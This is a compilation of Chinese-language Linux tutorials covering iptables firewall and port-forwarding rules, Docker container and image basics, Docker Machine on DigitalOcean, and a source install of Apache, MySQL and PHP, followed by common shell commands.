	iptables -A INPUT -s 10.30.26.0/24 -p tcp -m tcp --dport 80 -j DROP

禁止某IP段访问80端口，将-j DROP改成 -j REJECT --reject-with icmp-host-prohibited作用相同。




iptables -A INPUT -s 172.29.73.23 -j ACCEPT

完全信任某一主机，尽量不使用


iptables -I INPUT 2 -i lo -j ACCEPT

允许loopback。回环接口是一个主机内部发送和接收数据的虚拟设备接口，应该放行所有数据包。指定插入位置为 2 则之前该编号为 2 规则依次后移。



	
-A INPUT -p icmp -j ACCEPT

接受icmp数据包，可以ping。也可以设置只允许某个特定的IP，见后文。



iptables -A INPUT -j REJECT --reject-with icmp-host-prohibited

这条规则用在INPUT链默没有DROP的情况，作用与-P DROP相同，当前面所有的规则都没匹配时，自然落到这个 REJECT 上。

类似的FORWARD链也可以这么用：iptables -A FORWARD -j REJECT --reject-with icmp-host-prohibited。


当然，更强的规则是将OUPUT链也设置成DROP，这样一来情况就会复杂很多，如就是发送名解析请求，也要添加规则iptables -A OUTPUT -p udp --dport 53 -j ACCEPT。

正是因为这样的太过麻烦，所以一般OUTPUT策略默认为ACCEPT。（安全性比较高的系统除外）


1.3 删除规则



	iptables -nL --line-number

显示每条规则链的编号


	iptables -D FORWARD 2

删除FORWARD链的第2条规则，编号由上一条得知。如果删除的是nat表中的链，记得带上-t nat


	iptables -D INPUT -j REJECT --reject-with icmp-host-prohibited

删除规则的第二种方法，所有选项要与要删除的规则都相同才能删除，否则提示iptables: No chain/target/match by that name.


	
丢弃非法连接


iptables -A INPUT   -m state --state INVALID -j DROP

iptables -A OUTPUT -m state --state INVALID -j DROP

iptables-A FORWARD -m state --state INVALID -j DROP





2. 几种情形


2.1 端口转发


首先要开启端口转发器必须先修改内核运行参数ip_forward,打开转发:


# echo 1 > /proc/sys/net/ipv4/ip_forward   //此方法临时生效
或
# vi /ect/sysctl.conf                      //此方法永久生效
# sysctl -p 



本机端口转发


# iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 8080



根据 iptables防火墙原理详解 可知，实际上在数据包进入INPUT链之前，修改了目标地址（端口），于是不难理解在开放端口时需要设置的是放行8080端口，无需考虑80：


# iptables -A INPUT -s 172.29.88.0/24 -p tcp -m state --state NEW -m tcp --dport 8080 -j ACCEPT



此时外部访问http的80端口便可自动转到8080（浏览器地址栏不会变），而且又具有很高的性能，但如果你通过服务器本地主机的curl或firfox浏览器访问http://localhost:80或http://doman.com:80都是不行（假如你有这样的奇葩需求），这是因为本地数据包产生的目标地址不对，你需要额外添加这条 OUTPUT 规则：


iptables -t nat -A OUTPUT -p tcp --dport 80 -j REDIRECT --to-ports 8080



下面的规则可以达到同样的效果：


iptables -t nat -A PREROUTING -p tcp -i eth0 -d $YOUR_HOST_IP --dport 80 -j DNAT --to $YOUR_HOST_IP:8080
iptables -t nat -A OUTPUT -p tcp -d $YOUR_HOST_IP --dport 80 -j DNAT --to 127.0.0.1:8080
iptables -t nat -A OUTPUT -p tcp -d 127.0.0.1      --dport 80 -j DNAT --to 127.0.0.1:8080



异机端口转发

有些情况下企业内部网络隔离比较严格，但有一个跨网段访问的情况，此时只要转发用的中转服务器能够与另外的两个IP(服务器或PC)通讯就可以使用iptables实现转发。（端口转发的还有其他方法，请参考 linux服务器下各种端口转发技巧 ）


要实现的是所有访问 192.168.10.100:8000 的请求，转发到 172.29.88.56:80 上，在 192.168.10.100 是哪个添加规则:


iptables -t nat -A PREROUTING -i eth0 -p tcp -d 192.168.10.100 --dport 8000 -j DNAT --to-destination 172.29.88.56:80
iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source 192.168.10.100
或者
iptables -t nat -A PREROUTING -d 192.168.10.100 -p tcp --dport 8000 -j DNAT --to 172.29.88.56:80
iptables -t nat -A POSTROUTING -d 172.29.88.56 -p tcp --dport 80 -j SNAT --to-source 192.168.10.100



需要注意的是，如果你的FORWARD链默认为DROP，上面所有端口转发都必须建立在FORWARD链允许通行的情况下：


iptables -A FORWARD -d 172.29.88.56 -p tcp --dport 80 -j ACCEPT
iptables -A FORWARD -s 172.29.88.56 -p tcp -j ACCEPT



2.2 记录日志


为22端口的INPUT包增加日志功能，插在input的第1个规则前面，为避免日志信息塞满/var/log/message，用--limit限制：


iptables -R INPUT 1 -p tcp --dport 22 -m limit --limit 3/minute --limit-burst 8 -j LOG



vi /etc/rsyslog.conf 编辑日志配置文件，添加kern.=notice   /var/log/iptables.log，可以将日志记录到自定义的文件中。


service rsyslog restart #重启日志服务


2.3 防止DoS攻击


SYN洪水是攻击者发送海量的SYN请求到目标服务器上的一种DoS攻击方法，下面的脚本用于预防轻量级的DoS攻击：
ipt-tcp.sh：


iptables -N syn-flood   (如果您的防火墙默认配置有“ :syn-flood - [0:0] ”则不许要该项，因为重复了)
iptables -A INPUT -p tcp --syn -j syn-flood   
iptables -I syn-flood -p tcp -m limit --limit 2/s --limit-burst 5 -j RETURN   
iptables -A syn-flood -j REJECT   
# 防止DOS太多连接进来,可以允许外网网卡每个IP最多15个初始连接,超过的丢弃
# 需要iptables v1.4.19以上版本：iptables -V 
iptables -A INPUT -p tcp --syn -i eth0 --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 24 -j DROP   

#用Iptables抵御DDOS (参数与上相同)   
iptables -A INPUT -p tcp --syn -m limit --limit 5/s --limit-burst 10 -j ACCEPT  
iptables -A FORWARD -p tcp --syn -m limit --limit 1/s -j ACCEPT 

iptables -A FORWARD -p icmp -m limit --limit 2/s --limit-burst 10 -j ACCEPT
iptables -A INPUT -p icmp --icmp-type 0 -s ! 172.29.73.0/24 -j DROP



请参考：Linux: 20 Iptables Examples For New SysAdmins、Iptables Limits Connections Per IP、iptables预防DDOS和CC攻击配置
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原文链接地址：http://seanlook.com/2015/02/26/iptables-example/





 深入 Docker：容器和镜像

作者：大舒

来源： 深入 Docker：容器和镜像



                    

  在本专栏往期的 Flux7 系列教程 里，我们已经简单地探讨了 Docker 的基本操作。而在那篇教程中，我们一直是简单地将容器当成是“正在运行的镜像”，并没有深入地区分镜像和容器到底是什么、有什么区别。因此本次翻译 深入 Docker：容器和镜像 这篇文章，通过一些实例向大家介绍 Docker 容器和镜像的具体区别。




Docker 是一个非常有趣的项目。它自己宣称可以减轻部署服务器的难度，当然我相信里面有炒作的成分。但是实际使用后，我觉得 Docker 的表现还是可圈可点的。本篇文章将会从头开始进行操作镜像，同时试图通过实例和文档来解答实际操作 Docker 中遇到的问题。


本文仅仅是试图使用深入讲解 Docker 镜像和容器的基础知识，而不是像 了解 Docker：一种更好的虚拟化方式 一样试图总结出 Docker 的所有操作方法。


如果你打算按照本文操作的话，那么你首先有台安装好 Docker 的 Linux 主机。使用 Docker Machine 安装 Docker 很简单，但是同时我也推荐使用 Digital Ocean 中已经安装好 Docker 的云主机直接操作。本篇文章所使用的 Docker 版本为 1.6.0，同时文中所有的命令都需要 root 权限。


技巧


同样，译者在正文开始提供一个操作 Docker 的小知识。下文中也会多次使用到这一点。


Docker 会为所有已经运行（包括已经停止）的容器随机分配一个唯一的名字和一个唯一的 ID，docker 命令可以识别 ID，也可以识别这个名字。





如图所示，第一行的容器的 ID 是 43de70a54ec1，名字是 admiring_ardinghelli

想删除第一行对应的容器，我们只需要 docker rm 43de70a54ec1,或者简写成 docker rm 43de，或者 docker rm admiring_ardinghelli。


容器去哪儿了？


刚开始使用 Docker 的用户会发现，运行完一个容器，再次运行这个容器，原来的容器内的内容已经消失了，例如：


现在我们使用 -i（交互式）和 -t（临时终端）参数运行一个容器，然后输入一些交互命令：


shell(HOST) # docker run -it ubuntu /bin/bash
(CONTAINER) root@1f608dc4e5b4:/# echo hello docker > /message.txt
(CONTAINER) root@1f608dc4e5b4:/# cat /message.txt
hello docker
(CONTAINER) root@1f608dc4e5b4:/# exit



在上面那个容器内，我们创建了 /message.txt 文件，现在我们尝试重新读取这个文件：


shell(HOST) # docker run -it ubuntu cat /message.txt
cat: /message.txt: No such file or directory



刚刚我们明明新建了这个文件，现在怎么没了？

同时，运行 docker ps 列出容器，刚刚那个 1f608dc4e5b4 容器到哪里去了？


好吧，那么我们用 docker ps -a 命令列出所有容器，然后仔细观察一下：


(HOST) # docker ps -a
CONTAINER ID        IMAGE                 COMMAND              CREATED             STATUS                      PORTS               NAMES
b3d8c3ef31a0        ubuntu:latest         "cat /message.txt"   33 minutes ago      Exited (1) 33 minutes ago                       admiring_lalande
1f608dc4e5b4        ubuntu:latest         "/bin/bash"          34 minutes ago      Exited (0) 15 minutes ago                       insane_wright



现在大家应该可以发现问题了：居然有两个不同的容器，一个执行了 /bin/bash，一个执行了 cat /message.txt。


在本专栏以往的文章中，多次提到：Docker 使用一个叫做 UnionFS 的层级文件系统进行镜像操作。容器对镜像文件的所有操作均是在虚拟出的“改动层”上进行的。当然对容器而言，UnionFS 和普通的文件系统并无差别，也无法看到任何“改动层”。


每次运行 docker run 命令的时候，Docker 都会指定新建容器，并且为容器自己的改动层。所以我们两次都运行了 ubuntu 镜像，那么我们也将会有两个新的、不同的容器，每个容器也都会有自己独立的的“改动层”。因此，在第一个容器内创建的 /message.txt 文件在第二个容器内是无法访问的。当然，要是能互相访问，那我们就得为 Docker 的安全性担心了。


容器到底去哪儿了？



  刚刚的问题是：“容器去哪儿了？”

  现在的问题是：“容器到底去哪儿了？我需要里面的 message.txt 文件，怎么才能取出来？”




已经停止的容器中的数据并不会消失，而是被存储在相应的“改动层”中。我们可以通过 docker ps -a 进行查找容器。在这个例子中，我们要找的容器便是执行了 /bin/bash 命令的容器，ID是 1f608dc4e5b4，名称是 insane_wright。


对比起 ID，容器的名称更加易读。因此在本篇文章后面的例子中，我都将用名称来进行操作和识别容器。当然，你也可以在 docker run 的时候用 --name 参数指定容器的名称。


那么现在我们现在运行上面例子中已经停止的 insane_wright 容器：


(HOST) # docker start -ai insane_wright
(CONTAINER) root@1f608dc4e5b4:/# cat /message.txt
hello docker
(CONTAINER) root@1f608dc4e5b4:/# exit



使用 -a 参数将容器的输出导出到终端，同时使用 -i 参数进行交互式的操作。这条命令可以让我们继续运行容器 insane_wright，现在你应该能看得到我们刚刚创建的 /message.txt 文件了。


容器能不能提取出来？



  现在我们已经运行了自己的容器，容器内也有独立的数据，我们也知道如何获取容器内的数据，那么问题来了：我们能不能把这个状态下的容器给保存起来？




本专栏前面的文章提到过得益于 UnionFS，对于 Docker 来说，其实容器和镜像的差别并不大。容器可以认为是已经运行过的或正在运行的镜像，只不过是镜像上面添加了几个改动层。当然，大部分镜像也是如此。例如某些 mysql 镜像，便仅仅是在官方 ubuntu 镜像的基础上增加了一个 mysql 改动层。


对于上面例子中的容器，我们可以用下面这条命令将其打包成镜像：


(HOST) $ docker commit -a "Jordan Bach" -m "saved my message" insane_wright jbgo/message:v0.0.1
1c9195e4c24c894a274f857a60b46fb828ee70ff0e78d18017dfb79c5bf68409



本条命令将容器 insange_wright 的改动层的属性变为“只读”，并且指定存储为 jbgo/message 镜像。镜像基于原 ubuntu 镜像，增加了一个改动层，标签为 v0.0.1。标签可以为任意，当然一般用来记录版本信息。


当然，如果你打算自己尝试的话，记得将我的名字 jbgo 替换为你自己在 Docker Hub 上的用户名。即便你没有 Docker Hub 账户，也要养成给镜像做签名的习惯。


可以用如下命令检查当前的镜像：


(HOST) # docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             VIRTUAL SIZE
jbgo/message        v0.0.1              1c9195e4c24c        18 seconds ago      188.3 MB
ubuntu              latest              b7cf8f0d9e82        4 days ago          188.3 MB



现在我们有两个镜像了：一个是原有的 ubuntu 镜像，镜像是我们在刚开始进行 docker run 的时候自动从 Docker Hub 上面下载下来的；另一个便是我们刚刚保存的，有一个 /message.txt 文件的镜像。


不信？

那我运行给你看。


(HOST) # docker run -it jbgo/message:v0.0.1 cat /message.txt
hello docker



这里我们并没有运行刚刚的 insane_wright 容器，而是运行了我们刚刚保存的镜像。

我们确实把刚刚的容器保存为一个新的镜像了。


还不信？

那我检查给你看。


(HOST) # docker ps -a
CONTAINER ID        IMAGE                 COMMAND              CREATED             STATUS                      PORTS               NAMES
01bd4c098203        jbgo/message:v0.0.1   "cat /message.txt"   10 seconds ago      Exited (0) 9 seconds ago                        hopeful_lovelace
b3d8c3ef31a0        ubuntu:latest         "cat /message.txt"   33 minutes ago      Exited (1) 33 minutes ago                       admiring_lalande
1f608dc4e5b4        ubuntu:latest         "/bin/bash"          34 minutes ago      Exited (0) 15 minutes ago                       insane_wright



容器运行记录里面多了一个叫做 hopeful_lovelace 的容器，是运行 jdgo/message:v0.0.1 镜像而创建的这个容器。


如何备份镜像？



  上面我们创建了带有一个 /message.txt 文件的镜像，也用它运行了容器，那么如果 Docker 宿主机崩溃了或者文件消失了怎么办？如何保证我们创建的镜像在系统崩溃后仍然不丢失？




我们需要 Docker Registry，可以存储和下载镜像的地方。Docker Hub 官方提供了 Docker Hub Registry 让我们来存储镜像，当然我们也可以自己搭建 Docker Registry。本篇文章将会使用 Docker Hub Registry，如果你想按照本文中继续操作的话，记得将我的名字 jbgo 换成你自己在 Docker Hub 上的用户名。


使用如下操作将镜像上传到 Docker Registry 上：


(HOST) # docker push jbgo/message
The push refers to a repository [jbgo/message] (len: 1)
1c9195e4c24c: Image push failed

Please login prior to push:
Username: jbgo
Password:
Email: jordanbach@gmail.com
WARNING: login credentials saved in /root/.dockercfg.
Login Succeeded
The push refers to a repository [jbgo/message] (len: 1)
1c9195e4c24c: Image already exists
b7cf8f0d9e82: Image successfully pushed
2c014f14d3d9: Image successfully pushed
a62a42e77c9c: Image successfully pushed
706766fe1019: Image successfully pushed
Digest: sha256:b2a98b19e06a4df91150f8a2cd47a6e440cbc13b39f1fc235d46f97f631ad117



因为我是第一次在本机执行 docker push 操作，所以 Docker Registry 需要验证我的身份。


本次上传的镜像被保存在这里。

你可以使用 docker pull jbgo/message 来下载我的镜像。


当然，如果你按照上面的来操作的话，可能会出现一点小问题：


(HOST) # docker pull jbgo/message
Pulling repository jbgo/message
FATA[0007] Tag latest not found in repository jbgo/message



下面我来解释一下到底出了什么问题：

当你使用 docker push jbgo/message 命令的时候，默认上传标签为 latest 的镜像。如果没有便会报错。你可以采用如下命令解决： docker tag jbgo/message:v0.0.1 jbgo/message:latest。

这次再尝试推送：


(HOST) # docker push jbgo/message:latest
The push refers to a repository [jbgo/message] (len: 1)
1c9195e4c24c: Image already exists
b7cf8f0d9e82: Image already exists
2c014f14d3d9: Image already exists
a62a42e77c9c: Image already exists
706766fe1019: Image already exists
Digest: sha256:cc2fbbb2029c6402cea639b2454da08ef05672da81176ae97f57d4f51be19fc3



这次上传会快得多，因为服务器上已经有了这个镜像，我们上传的仅仅是相同镜像的不同标签而已。


你不信？

那我验证给你看：


(HOST) # docker pull jbgo/message
latest: Pulling from jbgo/message
1c9195e4c24c: Already exists
706766fe1019: Already exists
a62a42e77c9c: Already exists
2c014f14d3d9: Already exists
b7cf8f0d9e82: Already exists
Digest: sha256:cc2fbbb2029c6402cea639b2454da08ef05672da81176ae97f57d4f51be19fc3
Status: Downloaded newer image for jbgo/message:latest



当然，别台服务器一样可以使用这个命令下载我的镜像。


当然，也可以使用如下命令上传特定标签的镜像：docker push jbgo/message:v0.0.1。

建议使用版本标签标记镜像，并推送特定版本标签的镜像和 latest 标签的镜像。


使用完毕的容器如何处理？


上面只是介绍了容器如何理解容器和镜像，如果有很多历史容器被保存在硬盘上，想要释放掉这些空间，我们应该怎么做？


使用如下命令删除多个容器：


(HOST) # docker rm hopeful_lovelace insane_wright admiring_lalande
hopeful_lovelace
insane_wright
admiring_lalande



现在再检查一下还有没有这些容器：


(HOST) # docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES



我们运行的所有容器和所有的历史容器都会被保存在硬盘上，除非你手动 docker rm 它们。手动删除的容器不能恢复。


为什么上传了不止一个镜像？


有心人注意到，刚刚我们第一次上传 jbgo/message 镜像的时候，Docker 上传了不止一个镜像。


(HOST) # docker push jbgo/message:v0.0.1
...
1c9195e4c24c: Image already exists
b7cf8f0d9e82: Image successfully pushed
2c014f14d3d9: Image successfully pushed
a62a42e77c9c: Image successfully pushed
706766fe1019: Image successfully pushed



到底发生了什么？


首先使用 docker history 检查一下镜像改动历史：


(HOST) # docker history jbgo/message:v0.0.1
IMAGE               CREATED             CREATED BY                                      SIZE
1c9195e4c24c        33 minutes ago      /bin/bash                                       108 B
b7cf8f0d9e82        4 days ago          /bin/sh -c #(nop) CMD ["/bin/bash"]             0 B
2c014f14d3d9        4 days ago          /bin/sh -c sed -i 's/^#\s*\(deb.*universe\)$/   1.895 kB
a62a42e77c9c        4 days ago          /bin/sh -c echo '#!/bin/sh' > /usr/sbin/polic   194.5 kB
706766fe1019        4 days ago          /bin/sh -c #(nop) ADD file:777fad733fc954c0c1   188.1 MB



会发现，其实我们创建了不止一个镜像，也就是有不止一个改动层。

使用 docker inspect 命令仔细观察第一个镜像（第一层）进行过的改动：


(HOST) # docker inspect 1c9195e4c24c
[{
    "Architecture": "amd64",
    "Author": "Jordan Bach",
    "Comment": "saved my message",
    "Config": {



这个肯定就是我们的 /message.txt 改动层了，那么其他的那么多是什么？


jbgo/message 是基于 ubuntu 镜像的，我们来检查一下 ubuntu 镜像的改动历史：


(HOST) # docker history ubuntu
IMAGE               CREATED             CREATED BY                                      SIZE
b7cf8f0d9e82        4 days ago          /bin/sh -c #(nop) CMD ["/bin/bash"]             0 B
2c014f14d3d9        4 days ago          /bin/sh -c sed -i 's/^#\s*\(deb.*universe\)$/   1.895 kB
a62a42e77c9c        4 days ago          /bin/sh -c echo '#!/bin/sh' > /usr/sbin/polic   194.5 kB
706766fe1019        4 days ago          /bin/sh -c #(nop) ADD file:777fad733fc954c0c1   188.1 MB



那么这样一切就很明确了：那些是 ubuntu 镜像的改动历史。为了确保本地和上传到 Docker Hub 的镜像一致，我们上传到 Docker Hub 中的镜像便是包含着五层改动层的新镜像。


　如何删除镜像？


前面提到过，我们删除容器，那么我们本机上仍然保存着镜像，如何删掉它们？


（HOST） # docker rmi jbgo/message
Error response from daemon: Conflict, cannot delete 1c9195e4c24c because the container 2ea39e64a130 is using it, use -f to force
FATA[0000] Error: failed to remove one or more images



提示出错了，根据错误信息可以看出，还有容器在用这一个镜像。


但是我们没有正在运行着的容器啊，到底哪儿出错了？


检查所有容器，发现容器 2ea39e64a130。


(HOST) # docker ps -a
CONTAINER ID        IMAGE                 COMMAND              CREATED             STATUS                     PORTS               NAMES
2ea39e64a130        jbgo/message:latest   "cat /message.txt"   2 minutes ago       Exited (0) 2 minutes ago                       lonely_jones



当然，这是 Docker 的机制：如果你仍然有容器的历史记录，那么为了确保你能再次启动这个容器，这些镜像是不能删除的。


首先删除掉这个容器：docker rm lonely_jones。


然后删除镜像：


(HOST) # docker rmi jbgo/message
Untagged: jbgo/message:latest
Deleted: 1c9195e4c24c894a274f857a60b46fb828ee70ff0e78d18017dfb79c5bf68409
Deleted: b7cf8f0d9e82c9d96bd7afd22c600bfdb86b8d66c50d29164e5ad2fb02f7187b
Deleted: 2c014f14d3d95811df672ddae2af376f9557f6b8f5623e3e3f8c5ca3f6ff42e6
Deleted: a62a42e77c9c3626118dc411092d23cf658220261acdafe21a7589a8eeba627e
Deleted: 706766fe101906a1a6628173c2677173a5f8c6c469075083f3cf3a8f5e5eb367



这次我们可以很轻松地删除掉 jbgo/message 镜像了。

确认一下：


(HOST) # docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             VIRTUAL SIZE
确实没了。



后记


本篇文章介绍了容器和镜像的操作实例，当然 Docker 还有更多新奇的功能和只是等待大家去发现。

本专栏仍在继续组织翻译更多的系列文章，希望大家多多关注。


 [译] 如何在云服务提供商的平台上使用Docker Machine

作者：陌辞寒

来源： [译] 如何在云服务提供商的平台上使用Docker Machine



                    
大家好，今天我们来了解如何使用Docker Machine在各种云服务提供商的平台上部署Docker。Docker Machine是一个可以帮助我们在自己的电脑、云服务提供商的平台以及我们数据中心的机器上创建Docker机器的应用程序。它为创建服务器、在服务器中安装Docker、根据用户需求配置Docker客户端提供了简单的解决方案。驱动API对本地机器、数据中心的虚拟机或者公用云机器都适用。Docker Machine支持Windows、OSX和Linux，并且提供一个独立的二进制文件，可以直接使用。它让我们可以充分利用支持Docker的基础设施的生态环境合作伙伴，并且使用相同的接口进行访问。它让人们可以使用一个命令来简单而迅速地在不同的云平台部署Docker容器。


1. 安装Docker Machine


Docker Machine可以很好地支持每一种Linux发行版。首先，我们需要从Github网站下载最新版本的。这里我们使用curl来下载目前最新0.2.0版本的Docker Machine。


在64位操作系统运行：


# curl -L https://github.com/docker/machine/releases/download/v0.2.0/docker-machine_linux-amd64 > /usr/local/bin/docker-machine



在32位操作系统运行：


# curl -L https://github.com/docker/machine/releases/download/v0.2.0/docker-machine_linux-i386 > /usr/local/bin/docker-machine



下载最新版本的Docker Machine并将docker-machine文件放到了/usr/local/bin/后，添加执行权限：


# chmod +x /usr/local/bin/docker-machine



完成如上操作后，我们需要确认已经成功安装docker-machine了。可以运行如下命令检查，它会输出系统中docker-machine的版本：


# docker-machine -v






要在我们的机器上启用docker命令，需要使用如下命令安装Docker客户端：


    # curl -L https://get.docker.com/builds/linux/x86_64/docker-latest > /usr/local/bin/docker
    # chmod +x /usr/local/bin/docker



2. 创建机器


在自己的Linux机器上安装好了Docker Machine之后，我们想要将一个docker虚拟机部署到云服务器上。Docker Machine支持几个流行的云平台，如igital Ocean、Amazon Web Services（AWS）、Microsoft Azure、Google Cloud Computing及其它等等，所以我们可以在不同的平台使用相同的接口来部署Docker。本文中我们会使用digitalocean驱动在Digital Ocean的服务器上部署Docker，--driver选项指定digitalocean驱动，--digitalocean-access-token选项指定Digital Ocean Control Panel提供的API Token，命令最后的是我们创建的Docker虚拟机的机器名。运行如下命令：


# docker-machine create --driver digitalocean --digitalocean-access-token <API-Token> linux-dev

# eval "$(docker-machine env linux-dev)"






注意： 这里linux-dev是我们将要创建的机器的名称。<API-Token>是一个安全key，可以在Digtal Ocean Control Panel生成。要找到这个key，我们只需要登录到我们的Digital Ocean Control Panel，然后点击API，再点击 Generate New Token，填写一个名称，选上Read和Write。然后我们就会得到一串十六进制的key，那就是<API-Token>，简单地替换到上边的命令中即可。


运行如上命令后，我们可以在Digital Ocean Droplet Panel中看到一个具有默认配置的droplet已经被创建出来了。





简便起见，docker-machine会使用默认配置来部署Droplet。我们可以通过增加选项来定制我们的Droplet。这里是一些digitalocean相关的选项，我们可以使用它们来覆盖Docker Machine所使用的默认配置。



	--digitalocean-image "ubuntu-14-04-x64" 用于选择Droplet的镜像

	--digitalocean-ipv6 enable 启用IPv6网络支持

	--digitalocean-private-networking enable 启用专用网络

	--digitalocean-region "nyc3" 选择部署Droplet的区域

	--digitalocean-size "512mb" 选择内存大小和部署的类型



如果你想在其他云服务使用docker-machine，并且想覆盖默认的配置，可以运行如下命令来获取Docker Mackine默认支持的对每种平台适用的参数。


# docker-machine create -h



3. 选择活跃主机


部署Droplet后，我们想马上运行一个Docker容器，但在那之前，我们需要检查下活跃主机是否是我们需要的机器。可以运行如下命令查看。


# docker-machine ls






ACTIVE一列有“*”标记的是活跃主机。


现在，如果我们想将活跃主机切换到需要的主机，运行如下命令：


# docker-machine active linux-dev



注意：这里，linux-dev是机器名，我们打算激活这个机器，并且在其上运行Docker容器。


4. 运行一个Docker容器


现在，我们已经选择了活跃主机，就可以运行Docker容器了。可以测试一下，运行一个busybox容器来执行echo hello word命令，这样就可以得到输出：


# docker run busybox echo hello world



注意：如果你试图在一个装有32位操作系统的宿主机部署Docker容器，使用SSH来运行docker是个好办法。这样你就可以简单跳过这一步，直接进入下一步。


5. SSH到Docker机器中


如果我们想在机器或者Droplet上控制之前部署的Docker机器，可以使用docker-machine ssh命令来SSH到机器上：


# docker-machine ssh






SSH到机器上之后，我们可以在上边运行任何Docker容器。这里我们运行一个nginx：


# docker run -itd -p 80:80 nginx



操作完毕后，我们需要运行exit命令来退出Droplet或者服务器。


# exit



5. 删除主机


删除在运行的主机以及它的所有镜像和容器，我们可以使用docker-machine rm命令：


# docker-machine rm linux-dev






使用docker-machine ls命令检查是否成功删除了：


# docker-machine ls






6. 在不使用驱动的情况新增一个主机


我们可以在不使用驱动的情况往Docker增加一台主机，只需要一个URL。它可以使用一个已有机器的别名，所以我们就不需要每次在运行docker命令时输入完整的URL了。


$ docker-machine create --url=tcp://104.131.50.36:2376 custombox



7. 管理主机


如果你已经让Docker运行起来了，可以使用简单的docker-machine stop命令来停止所有正在运行的主机，如果需要再启动的话可以运行docker-machine start：


# docker-machine stop
# docker-machine start



你也可以使用如下命令来使用机器名作为参数来将其停止或启动：


$ docker-machine stop linux-dev
$ docker-machine start linux-dev



总结


Docker Machine是一个非常棒的工具，可以使用Docker容器快速地部署服务。文中我们使用Digital Ocean Platform作演示，但Docker Machine还支持其他平台，如Amazon Web Service、Google Cloud Computing。使用Docker Machine，快速、安全地在几种不同平台部署Docker容器变得很简单了。因为Docker Machine还是Beta版本，不建议在生产环境使用。如果你有任何问题、建议、反馈，请在下方的评论框中写下来，我们会改进或者更新我们的内容。谢谢！享受吧 :-)




via: http://linoxide.com/linux-how-to/use-docker-machine-cloud-provider/


作者：Arun Pyasi

译者：goreliu

校对：wxy


本文由 LCTT 原创翻译，Linux中国 荣誉推出
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1.准备


根据系统的不同，可能准备的文件也不同，我用的是Ubuntu Linux ，我已将以下五个文件打包，点击下方链接下载吧


httpd-2.2.9.tar.gz

mysql-5.1.52.tar.gz

php-5.3.5.tar.gz

libxml2-2.7.7.tar.gz

ncurses-5.6.tar.gz




  百度网盘下载：Linux lamp环境安装包




2.安装mysql


在安装之前需要添加mysql组和用户


//添加用户组用户，先取得root权限
trigkit4@ubuntu:~$ su root
Password: 
root@ubuntu:/home/trigkit4# groupadd mysql
root@ubuntu:/home/trigkit4# useradd -g mysql mysql

//解压压缩包，首先进入下载文件所在目录
$ cd /home/trigkit4/Downloads tar -zxvf mysql-5.1.52.tar.gz

//进入解压出来的文件夹
root@ubuntu:/home/trigkit4/Downloads# cd mysql-5.1.52

//进入目录解压ncurses-5.6.tar.gz
cd /home/trigkit4/Downloads tar -zxvf ncurses-5.6.tar.gz

//再进入ncurse-5.6文件夹
root@ubuntu:/home/trigkit4/Downloads/mysql-5.1.52# cd /home/trigkit4/Downloads/ncurses-5.6

//配置安装目录等信息
./configure  --prefix=/usr/local/ncurses  --with-shared  --without-debug  --enable-widec

//编译，有点耗时
root@ubuntu:/home/trigkit4/Downloads/ncurses-5.6# make

//安装
root@ubuntu:/home/trigkit4/Downloads/ncurses-5.6# sudo make install



3.安装Apache


//首先进入httpd-2.2.9.tar.gz所在目录
cd /home/trigkit4/Downloads/

//解压缩Apache文件包
$ tar -zxvf httpd-2.2.17.tar.gz  

//进入解压后的文件目录
root@ubuntu:/home/trigkit4# cd /home/trigkit4/Downloads/httpd-2.2.9

//配置安装目录
root@ubuntu:/home/trigkit4/Downloads/httpd-2.2.9# ./configure -prefix=/home/trigkit4/Downloads/apache -enable-so

//编译
root@ubuntu:/home/trigkit4/Downloads/httpd-2.2.9# make

//安装
root@ubuntu:/home/trigkit4/Downloads/httpd-2.2.9# sudo make install



4.安装libxml2


//进入libxml2文件所在目录
root@ubuntu:/home/trigkit4# cd /home/trigkit4/Downloads 

//解压libxml软件包
tar -zxvf libxml2-2.7.7.tar.gz

//进入解压后的文件目录
root@ubuntu:/home/trigkit4/Downloads# cd libxml2-2.7.7

//配置
$ ./configure

//编译
$ make

//安装
$ sudo make install



5.安装php


//进入php文件所在目录然后解压缩
$ tar -zxvf php-5.3.5.tar.gz

//进入解压后的文件目录
root@ubuntu:/home/trigkit4/Downloads# cd /home/trigkit4/Downloads/php-5.3.5

//进入libxml2文件目录并安装libxml2
./configure --prefix=/usr/local/libxml2/ 

//配置目录
./configure --with-apxs2=/opt/www/bin/apxs 


//编译
$ make
//安装
$ make install






配置


// 拷贝php的配置文件  
# cp php.ini-development /usr/local/php/etc/php.ini   

// 配置apache  
# gedit /home/trigkit4/Downloads/apache/conf/httpd.conf  
*** 在LoadModule处添加 LoadModule php5_module module/libphp5.so 

*** 在DirectoryIndex处添加 index.php 

*** 在AddType application处添加  
AddType application/x-httpd-php .php .phtml  
AddType applicatoin/x-httpd-php-source .phps  

// 然后重启apache,设置就生效了  
home/trigkit4/Downloads/apache/bin/apachectl restart



linux常用命令


查看目录


        cd .. 返回上一级
        cd ~ 返回默认根目录
        cd ../.. 返回上级的上级

    命令echo用以显示输入的内容
    命令cat用以显示文件内容
    命令head用以显示文件的头几行（默认10行）-n 指定显示的行数
    命令tail用以显示文件的末尾几行（默认10行）-n 指定显示的行数 -f追踪显示文件的更新
    命令more用于翻页显示文件内容（只能向下翻页）
    命令less用于翻页显示文件内容（带上下翻页）



日期时间


    命令date用以查看、设置当前系统时间：格式化显示时间：+%Y—%m—%d
    命令hwclock（clock）用以显示硬件时钟时间
    命令cal用以查看日历
    命令uptime用以查看系统运行时间



查看硬件信息


    命令lspci用以查看PCI设置  -v查看详细信息
    命令lsusb用以查看USB设置  -v查看详细信息
    命令lsmod用以查看加载的模块 （驱动）



关机、重启


    -h 关闭计算机，-r 重新启动
    立即关机 ： shutdown -h now
    10分钟后关机：shutdown -h +10
    命令poweroff用以立即关机
    命令reboot用以立即重启计算机



归档、压缩


    tar命令用以归档文件
    命令zip用以压缩文件  zip linuxcost.zip myfile
    命令unzip用以解压缩zip文件  unzip Linuxcast.zip
    命令gzip用以压缩文件  gzip linuxcast.net
    tar命令
“tar”命令是磁带归档(Tape Archive)，对创建一些文件的的归档和它们的解压很有用。

root@trigkit4:~# tar -zxvf abc.tar.gz (记住'z'代表了.tar.gz)


